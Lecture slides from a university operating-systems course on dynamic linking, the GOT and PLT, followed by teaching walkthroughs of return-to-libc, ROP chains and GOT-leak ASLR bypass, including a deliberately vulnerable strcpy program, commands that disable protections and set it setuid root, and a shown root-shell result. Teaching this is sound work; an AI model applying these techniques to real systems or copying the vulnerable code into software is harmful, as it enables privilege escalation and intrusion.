Lecture 12: libc
(Dynamic Linking, GOT, PLT, ret2libc, ROP, GOT Leak)

Xin Liu

Florida State University
xliu15@fsu.edu

COP 4610 Operating Systems
https://xinliulab.github.io/FSU-COP4610-Operating-Systems/

Outline

We have already learned that an "executable file" is a data structure that describes the initial state of a process. Through the Funny Little Executable, we explored the compilation, linking, and loading processes involved in generating an executable file.

Today's Key Question:

- As the software ecosystem evolved, the need for **"decomposing"** software and dynamic linking emerged!

Main Topics for Today:

- Dynamic Linking and Loading: Principles and Implementation
- Security in **libc**

"Disassembling" an Application

Software Ecosystem Requirements

How Many Executable Files Exist in Our OS?

Have you ever wondered how many executable files are in your system?

- We can count the number of files in /usr/bin with:

```
ls -l /usr/bin | wc -l
```

- Most of these executables rely on libc. We can verify this with:

```
ldd /usr/bin/bash | grep libc
```

Why Dynamic Linking Matters?

What if every executable included its own copy of `libc`?

- Assume `libc` is 1MB in size.
- There are 1,500 executables in `/usr/bin`.
- Total storage required:

Without Dynamic Linking

$$1MB \times 1500 = 1.5GB$$

With Dynamic Linking:

- The system only needs **one copy** of `libc.so`.
- All executables share the same library at runtime.
- Saves **disk space** and **memory usage**.

Achieving Separation of Runtime Libraries and Application Code

- **Library Sharing Between Applications**
  - Every program requires `glibc`.
  - But the system only needs a single copy.
  - Yes, we can check this with the `ldd` command.
- **Decomposing Large Projects**
  - Modifying code does not require relinking massive 2GB files.
  - Example: `lib5370.so`, etc.

Library Dependencies: A Security Risk

The shocking [xz-utils (liblzma) backdoor incident](#) (CVE-2024-3094)

- In March 2024, a serious security backdoor was discovered in 'xz-utils', which provides the 'liblzma' compression library.
- The backdoor allowed an attacker to remotely gain control over affected Linux systems.
- The attack was stealthy, bypassing security checks and remaining undetected for months.

How Did This Happen?

- The attacker, known as 'JiaT75', contributed code to 'xz-utils', slowly introducing malicious modifications.
- The malicious code was cleverly hidden within performance improvements and obfuscated commits.
- Even advanced security tools, like Google's oss-fuzz, did not detect the attack at first.

The Impact of the Backdoor

Why Was This So Dangerous?

- Many Linux distributions (e.g., Debian, Fedora) rely on 'xz-utils' for compression.
- 'liblzma' is a core dependency in multiple system components, including OpenSSH.
- A compromised 'liblzma' meant that attackers could intercept SSH traffic, effectively gaining remote access to Linux machines.

What Was the Response?

- Security researchers discovered and reported the issue before it was fully exploited.
- Major Linux vendors immediately released patches, removing the compromised versions.
- The incident raised concerns about supply chain security in open-source software.

Lessons from CVE-2024-3094

Key Takeaways:

- Open-source projects can be targeted by long-term attacks.
- Even trusted libraries like 'liblzma' can become attack vectors.
- Automated security tools like 'oss-fuzz' are helpful, but not foolproof.
- Regular auditing and manual code reviews are crucial for security.

What If This Happened to Other Critical Libraries?

- Imagine if 'libc.so' or 'libssl.so' were compromised in a similar way.
- How would this affect millions of Linux systems worldwide?

The UMN Linux Kernel Incident

What Happened?

- In 2021, researchers from the University of Minnesota (UMN) intentionally submitted malicious patches to the Linux kernel as part of a security study.
- Their goal was to demonstrate that vulnerabilities could be introduced through seemingly legitimate contributions.
- This research was conducted without prior disclosure to the Linux maintainers.

Community Response

- Greg Kroah-Hartman, a senior Linux maintainer, reacted strongly and reverted all commits from UMN.
- The entire UMN domain ('umn.edu') was temporarily banned from contributing to the Linux kernel.
- The incident raised ethical concerns about conducting security research without consent.

References: UMN Incident Report, Reversion of UMN Commits, S&P'21 Statement on Ethics

Library Dependencies are Also a Code Weakness
- The shocking xz-utils (liblzma) backdoor incident
    - JiaT75 even bypassed oss-fuzz detection
    - Linux incident:
      Greg Kroah-Hartman reverted all commits from umn.edu;
      S&P'21 Statement

What if the Linux Application World was Statically Linked...
- libc releases an urgent security patch → all applications need
  to be relinked
- Semantic Versioning
    - "Compatible" has a subtle definition
    - "Dependency hell"

Does It Really Not Exist?

If this is a weapon of mass destruction, does it truly not exist?

- Consider the real world—certain nations possess nuclear weapons.
- They shape global stability.
- Could a similar balance exist in the digital world?

The Computer World Runs on a Fragile Equilibrium

- Zero-day vulnerabilities are discovered, but not always disclosed.
- Some entities have the capability to exploit them but choose restraint.
- Security and control often depend on an unspoken balance between offense and defense.

Verifying "Only One Copy"

Decomposing Applications

Approach 1: `libc.o`

- Relocation is completed during loading.
    - Loading method: static linking
    - Saves disk space but consumes more memory.
    - Key drawback: **Time** (Linking requires resolving many undefined symbols).

Approach 2: `libc.so` (Shared Object)

- Compiled as **position-independent code**.
    - Loading method: `mmap`
    - However, function calls require an extra lookup step.
- **Advantage**: Multiple processes share the same `libc.so`, requiring only a single copy in memory.

Verifying "Only One Copy"

How to Achieve This?

- Create a very large `libbloat.so`
  - Our example: 100M of `nop` (0x90)
- Launch 1,000 processes dynamically linked to `libbloat.so`
- Observe the system's memory usage:
  - 100MB or 100GB?
- If it's the latter, the system will immediately crash.
  - However, the **out-of-memory killer** will terminate the process with the highest `oom_score`.
  - We can also use `pmap` to observe the address of `libbloat.so`.
    - Do all of the addresses point to the same shared library?

How Shared Libraries Shape Process Address Space

Shared Libraries and Virtual Memory

- When a process loads `libc.so`, the operating system maps it into the process's virtual address space.
- The same physical memory holding `libc.so` can be shared across multiple processes.
- This is achieved via `mmap`/`munmap`/`mprotect`, which maps shared objects to the address space without duplication.

Address Translation: From Virtual to Physical

- The CPU translates virtual addresses using **paging**.
- In x86 systems, the **CR3 register** holds the base address of the **page table**.
- When a process accesses a function in `libc.so`, the CPU:
  - Reads the virtual address from the instruction.
  - Uses CR3 to locate the correct page table.
  - Translates the virtual address into a physical address.

Implementing Dynamic Loading

All problems in computer science can be solved by
another level of indirection. (Butler Lampson).

Dynamic Linking: A Layer of Indirection

At Compilation: Function Calls Use an Indirect Lookup

```
call *TABLE[printf@symtab]
```

At Linking: Symbols Are Collected and Mapped
- The linker gathers all symbol references.
- It generates symbol information and the necessary code.

Symbol Table and Resolution

```
#define foo@symtab 1
#define printf@symtab 2
...

void *TABLE[N_SYMBOLS];

void load(struct loader *ld) {
    TABLE[foo@symtab] = ld->resolve("foo");
    TABLE[printf@symtab] = ld->resolve("printf");
    ...
}
```

Compilation and Linking
- Borrowing from the GNU toolchain works well
  - `ld` is borrowed from `objcopy` (referred)
  - `as` is borrowed from `GNU as` (also referred)

Parsing and Loading
- The rest needs to be done manually
  - `readelf` (`readelf`)
  - `objdump`
  - Similarly, we can "borrow" `addr2line`, `nm`, `objcopy`, ...
- The loader is simply the "INTERP" field in ELF

We "made" the GOT (Global Offset Table)!

- Each dynamically resolved symbol has an entry in the GOT.
- ELF: Relocation section `.rela.dyn`.

Main Functions of Dynamic Linking

Implementing Dynamic Linking and Loading of Code

- `main (.o)` calls `printf (.so)`
- `main (.o)` calls `foo (.o)`

Challenge: How to Decide Whether to Use a Lookup Table?

```
int printf(const char *, ...);
void foo();
```

- Should it be determined within the same binary (resolved at link time)?
- Or should it be handled within the library (loaded at runtime)?

A Historical Legacy Issue: Compile First, Link Later

Compiler Option 1: Fully Table-Based Indirect Jump

```
ff 25 00 00 00 00 call *FOO_OFFSET(%rip)
```

- Each call to `foo` requires an additional table lookup, leading to performance inefficiency

Compiler Option 2: Fully Direct Jump

```
e8 00 00 00 00 call <reloc>
```

- `%rip`: 0000555982b7000
- `libc.so`: 00007fdcfd800000
    - The difference is `2a8356549000`
- A 4-byte immediate cannot store such a large offset, making the jump impossible
    - On x86-64, direct call/jmp instructions use a 32-bit offset (±2GB)

For Performance, "Fully Direct Jump" is the Only Choice

```
e8 00 00 00 00 call <reloc>
```

- If a symbol is resolved at link time (e.g., `printf` from dynamic loading), then a small piece of code is "synthesized" in `a.out`:

```
printf@plt:
    jmp *PRINTF_OFFSET(%rip)
```

- This leads to the invention of the **PLT (Procedure Linkage Table)**!

Get a Glimpse of ELF

```
#include <stdlib.h>

int main()
{
   exit(0);
}
```

Examining Offset in the GOT using objdump:

- We can set a "read watchpoint" to see who accesses it.
- ELF is incredibly complex, but we can still get a glimpse of its structure.

Rethinking PLT

Do We Really Need the PLT?

- If compilation and linking were done together, we would already know the target of every `call` instruction.

```
puts@PLT:
    endbr64
    bnd jmpq *GOT[n] // *offset(%rip)
```

- Why does the PLT use `endbr64` and `bind jmpq` for jump resolution?
- In reality, there are many "other" possible solutions.

Return-to-libc Attacks

Bypassing NX (Non-Executable Stack)

Command Analysis:

```
gcc -g -o stack -z execstack -fno-stack-protector stack.c
```

Breakdown of Options:

- `-g` : Includes debugging information for use with GDB.
- `-o stack` : Names the output binary file as `stack`.
- `-z execstack` : Allows execution of code in the stack.
- `-fno-stack-protector` : Disables stack protection (canary checks), making buffer overflows easier to exploit.

Key Point:

- These options weaken modern security mechanisms.
- They enable execution of injected shellcode on the stack.
- In a real-world scenario, security features prevent such execution.

Can These Security Measures Be Bypassed?

- Jump to existing code: e.g. **libc** library.
- Run `system(cmd)`, cmd argument is a command which gets executed.

Stack.c

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int foo(char *str)
{
   char buffer[100];

   /* The following statement has a buffer overflow problem */
   strcpy(buffer, str);

   return 1;
}

int main(int argc, char **argv)
{
   char str[400];
   FILE *badfile;

   badfile = fopen("badfile", "r");
   fread(str, sizeof(char), 300, badfile);
   foo(str);

   printf("Returned Properly\n");
   return 1;
}
```

Comparing BOF and Ret2libc Settings

Buffer Overflow (Traditional Shellcode Execution):

```
$ gcc -fno-stack-protector -z execstack -o stack stack.c
$ sudo sysctl -w kernel.randomize_va_space=0
$ sudo chown root stack
$ sudo chmod 4755 stack
```

Return-to-libc Attack (Ret2libc):

```
$ gcc -fno-stack-protector -z noexecstack -o stack stack.c
$ sudo sysctl -w kernel.randomize_va_space=0
$ sudo chown root stack
$ sudo chmod 4755 stack
```

Key Differences:

- Buffer Overflow attacks require an executable stack (-z execstack), while ret2libc does not (-z noexecstack).
- Both attacks disable StackGuard (-fno-stack-protector) and ASLR (randomize_va_space=0).
- Ret2libc leverages existing functions in libc (e.g., system()), avoiding the need for custom shellcode.

Overview of the Attack

Task A : Find address of `system()`.

- *To overwrite return address with `system()`'s address.*

Task B : Find address of the "/bin/sh" string.

- *To run command "/bin/sh" from `system()`.*

Task C : Construct arguments for `system()`.

- *To find location in the stack to place "/bin/sh" address (argument for `system()`).*

Task A : To Find `system()`'s Address.

- Debug the vulnerable program using `gdb`.
- Using `p` (print) command, print address of `system()` and `exit()`.

```
$ gdb stack
(gdb) run
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e5f430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7e52fb0 <exit>
(gdb) quit
```

Task B : To Find "/bin/sh" String Address

Export an environment variable called
MYSHELL with value "/bin/sh".

MYSHELL is passed to the vulnera-
ble program as an environment vari-
able, which is stored on the stack.

We can find its address.

Task B : To Find "/bin/sh" String Address

```c
#include <stdio.h>

int main()
{
    char *shell = (char *)getenv("MYSHELL");

    if(shell){
        printf(" Value: %s\n", shell);
        printf(" Address: %x\n", (unsigned int)shell);
    }

    return 1;
}
```

**Code to display address of
environment variable**

```
$ gcc envaddr.c –o env55
$ export MYSHELL="/bin/sh"
$ ./env55
 Value: /bin/sh
 Address: bffffe8c
```

**Export "MYSHELL"
environment variable and
execute the code.**

Task B : Some Considerations

```
$ mv env55 env7777
$ ./env7777
 Value: /bin/sh
 Address: bffffe88
```

```
$ gcc -g envaddr.c -o envaddr_dbg
$ gdb envaddr_dbg
(gdb) b main
Breakpoint 1 at 0x804841d: file envaddr.c, line
      6.
(gdb) run
Starting program: /home/seeds/labs/buffer-
      overflow/envaddr_dbg
(gdb) x/100s *((char **)environ)
0xbffff55e: "SSH_AGENT_PID=2494"
0xbffff571: "GPG_AGENT_INFO=/tmp/keyring-YIRqWE
      /gpg:0:1"
0xbffff59c: "SHELL=/bin/bash"
......
0xbfffffb7: "COLORTERM=gnome-terminal"
0xbfffffd0: "/home/seeds/labs/buffer-overflow/
      envaddr_dbg"
```

- Address of **"MYSHELL"** environment variable is sensitive to the length of the program name.
- If the program name is changed from env55 to env77, we get a different address.

Task C : Argument for `system()`

- Arguments are accessed with respect to `ebp`.
- Argument for `system()` needs to be on the stack.
- Need to know where exactly `ebp` is after we have "returned" to `system()`, so we can put the argument at `ebp + 8`.

High address

String Argument — `ebp + 8`

Return Address

Previous Frame Pointer — `ebp`

Low address

Frame for the `system()` function

Function Prologue in Stack Management

Function prologue is executed at the beginning of a function to set up a stack frame.

```
pushl %ebp # Save old frame pointer
movl %esp, %ebp # Set up new frame pointer
subl $N, %esp # Allocate space for local variables
```

Key Steps:

- Saves caller's frame pointer (`push %ebp`).
- Establishes a new frame pointer (`mov %esp, %ebp`).
- Allocates space for local variables (`subl $N, %esp`).

Example: Function Prologue in C

C Function:

```
void example() {
    int a = 5;
    int b = 10;
}
```

Corresponding Assembly (x86):

```
pushl %ebp # Save old frame pointer
movl %esp, %ebp # Set up new frame pointer
subl $8, %esp # Allocate space for 'a' and 'b'
```

Explanation:

- The function starts by saving the caller's frame pointer.
- A new frame pointer is established for local variable management.
- The stack pointer is adjusted to allocate space for 'a' and 'b'.

Function Prologue and Epilogue Example

C Function:

```c
void foo(int x) {
    int a;
    a = x;
}

void bar() {
    int b = 5;
    foo(b);
}
```

Corresponding Assembly (x86):

```
pushl %ebp # (1) Save the caller's base pointer (previous stack frame)
movl %esp, %ebp # (2) Establish a new base pointer for the current function
subl $16, %esp # (3) Allocate 16 bytes of space for local variables
movl 8(%ebp), %eax # (4) Load the function argument (x) from the caller's stack into EAX
movl %eax, -4(%ebp) # (5) Store the value of x into the local variable a
leave # (6) Restore the previous stack frame (mov %ebp, %esp; pop %ebp)
ret # (7) Return to the caller using the stored return address
```

Key Points:

- **Function Prologue** (1): Sets up the stack frame.
- **Function Epilogue** (2): Cleans up the stack and returns.
- The function argument 'x' is accessed via '8(%ebp)'.

Finding system()'s Argument Address

Understanding the Stack Changes:

- To find the argument for 'system()', we need to analyze how the 'ebp' and 'esp' registers change during function calls.
- When the return address is modified, the vulnerable function ('bof') completes execution, and the 'system()' function begins.
- During this transition, the stack frame of 'bof' is deallocated, and 'system()"s prologue sets up its own stack frame.
- The argument for 'system()' must be carefully placed so that when 'system()' executes, it correctly references the intended memory address.

Flow Chart to Understand system() Argument

Process Flow:

- The return address is modified to jump to 'system()'.
- 'ebp' is replaced by 'esp' after 'bof()' epilogue executes.
- The program jumps to 'system()' and its prologue executes.
- 'ebp' is set to the current value of 'esp'.
- "'/bin/sh'" is stored in 'ebp + 8', ensuring 'system()' gets the correct argument.
- 'ebp + 4' is used as the return address of 'system()', which can be set to 'exit()' to prevent crashes.

Key Considerations:

- Ensure correct memory alignment when placing 'system()' arguments.
- The transition between 'bof()' and 'system()' affects stack alignment.
- Checking the memory map helps verify argument placement before execution.

Launch the Attack

Steps to Execute the Exploit:

- Compile the exploit code.
- Execute the exploit.
- Run the vulnerable program to trigger the attack.

```
$ gcc ret_to_libc_exploit.c -o exploit
$ ./exploit
$ ./stack
# <- Got the root shell!

# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=0(root),4(adm) ...
```

Outcome:

- Successful execution grants root shell access.
- 'euid=0(root)' confirms privilege escalation.

From Ret2libc to ROP (Return Oriented Programming)

ROP Attack Using `sprintf()`

Goal: Use `sprintf()` to write "/bin/sh" into memory and execute a root shell.

Why `sprintf()`?

- Avoids NX protection (no need to execute shellcode).
- Allows precise byte-wise memory control.

Attack Steps:

1. Exploit buffer overflow in `foo()` to overwrite return address.
2. Redirect execution to a controlled stack frame using `leave; ret`.
3. Use `sprintf()` to write "/bin/sh" into memory.
4. Call `setuid(0)` to gain root privileges.
5. Call `system("/bin/sh")` to spawn a shell.
6. Call `exit()` to prevent crashing.

ROP Chain Execution Flow

- **Step 1: Overwrite return address** → Jump to `leave; ret`.
  - `leave;` sets `ebp` to an attacker-controlled stack frame.
  - `ret` jumps to the next function in the ROP chain.
- **Step 2: Execute `sprintf(sprintf_arg1, sprintf_arg2)`** → Writes "/bin/sh" into memory.
  - The return address of `sprintf()` is set to another `leave; ret` gadget.
  - After execution, the new stack frame points to the next function in the chain.
- **Step 3: Call `setuid(0)`** → Escalates privileges to root.
  - The return address of `setuid()` is set to another `leave; ret`.
  - This ensures smooth transition to the next stage.
- **Step 4: Call `system("/bin/sh")`** → Launches a root shell.
  - The argument `"/bin/sh"` was written earlier using `sprintf()`.
  - Another `leave; ret` ensures execution continues to `exit()`.
- **Step 5: Call `exit()`** → Ensures a clean exit to prevent crashes.

ROP + GOT Leak

Bypassing ASLR (Address Space Layout Randomization)

Comparing BOF, Ret2libc, and ROP Settings

Buffer Overflow (Traditional Shellcode Execution):

```
$ gcc -fno-stack-protector -z execstack -o stack stack.c
$ sudo sysctl -w kernel.randomize_va_space=0
$ sudo chown root stack
$ sudo chmod 4755 stack
```

Return-to-libc Attack (Ret2libc):

```
$ gcc -fno-stack-protector -z noexecstack -o stack stack.c
$ sudo sysctl -w kernel.randomize_va_space=0
$ sudo chown root stack
$ sudo chmod 4755 stack
```

ROP + GOT Leak:

```
$ gcc -fno-stack-protector -z noexecstack -o stack stack.c
$ sudo chown root stack
$ sudo chmod 4755 stack
```

How ASLR Affects Memory Addresses

1. ASLR (Address Space Layout Randomization) randomizes:

- ELF executables (if compiled with PIE)
- Shared libraries (e.g., libc)
- Heap memory
- Stack memory
- Dynamically mapped regions (mmap())

2. ASLR affects the virtual address space:

- The base address of libc is randomized on each execution.
- Functions like printf() and system() have different addresses each time.

Example: Loading `libc` with ASLR

```
$ ldd ./stack
    linux-vdso.so.1 => (0x00007ffc459cd000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2e7e8a6000)
```

Key takeaway: ASLR does not change the physical memory, but the virtual addresses vary for each execution.

How ASLR Affects Function Addresses

1. Virtual address changes with ASLR:

- Functions like `printf()` and `system()` have dynamic addresses.
- Their offsets relative to `libc` remain constant.

2. Example: ASLR enabled vs. disabled
Without ASLR:

```
$ sudo sysctl -w kernel.randomize_va_space=0
$ gdb ./stack
(gdb) p/x printf
$1 = 0x7ffff7e52f60
(gdb) p/x system
$2 = 0x7ffff7e07a90
```

With ASLR enabled:

```
$ sudo sysctl -w kernel.randomize_va_space=2
$ gdb ./stack
(gdb) p/x printf
$1 = 0x7ffff79d2f60
(gdb) p/x system
$2 = 0x7ffff7987a90
```

Conclusion: ASLR randomizes the base address of `libc`, causing function addresses to change.

Why GOT Leaks Work Against ASLR

1. GOT (Global Offset Table) stores function addresses:
- Contains dynamically resolved function pointers.
- ASLR affects stored function addresses, but not their offsets within `libc`.

2. Can we leak function addresses despite ASLR? Yes! Using `puts(printf@GOT)`, we can print the actual runtime address of `printf()`.

ROP Chain to Leak `printf()`:

```
pop rdi; ret # Load address into RDI
printf@GOT # Print stored address of printf()
puts@PLT # Call puts() to print it
main # Restart main to regain control
```

3. Once we leak `printf()`, we compute the libc base:

```
libc_base = leaked_printf - offset_printf
```

Conclusion: By leaking `printf()`, we dynamically determine `libc`'s base address, bypassing ASLR.

Calculating `system()` Address Dynamically

1. After leaking `printf()`, we find `libc` base:

```
libc_base = leaked_printf - offset_printf
```

2. Compute addresses of useful functions:

```
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_binsh
```

3. Construct ROP chain to execute `system("/bin/sh")`:

```
pop rdi; ret
binsh_addr
system_addr
exit_addr
```

Final step: Execute this ROP chain to spawn a shell, even with ASLR enabled!

Conclusion – Bypassing ASLR with GOT Leaks

Key takeaways:

- ASLR randomizes `libc`'s base address, changing function locations.
- GOT stores function pointers that reflect the ASLR-randomized addresses.
- Using `puts(printf@GOT)`, we can leak `printf()`'s actual address.
- Since function offsets in `libc` are fixed, we compute `libc` base dynamically.
- This allows us to locate `system()` and execute `system("/bin/sh")`, even with ASLR enabled.

Final Thought: GOT leaks + ROP = Reliable ASLR bypass without disabling security features!

Takeaways

- Deepening understanding of `libc`, dynamic linking, GOT, and PLT by implementing a customized version.
- NX is bypassed by reusing executable codes (e.g., `libc`) instead of injecting new shellcode.
- ROP chains can cleverly use `leave; ret` to transition control between stack frames, maintaining execution flow.
- ASLR is bypassed by leaking function addresses from the GOT, allowing dynamic computation of the `libc` base address.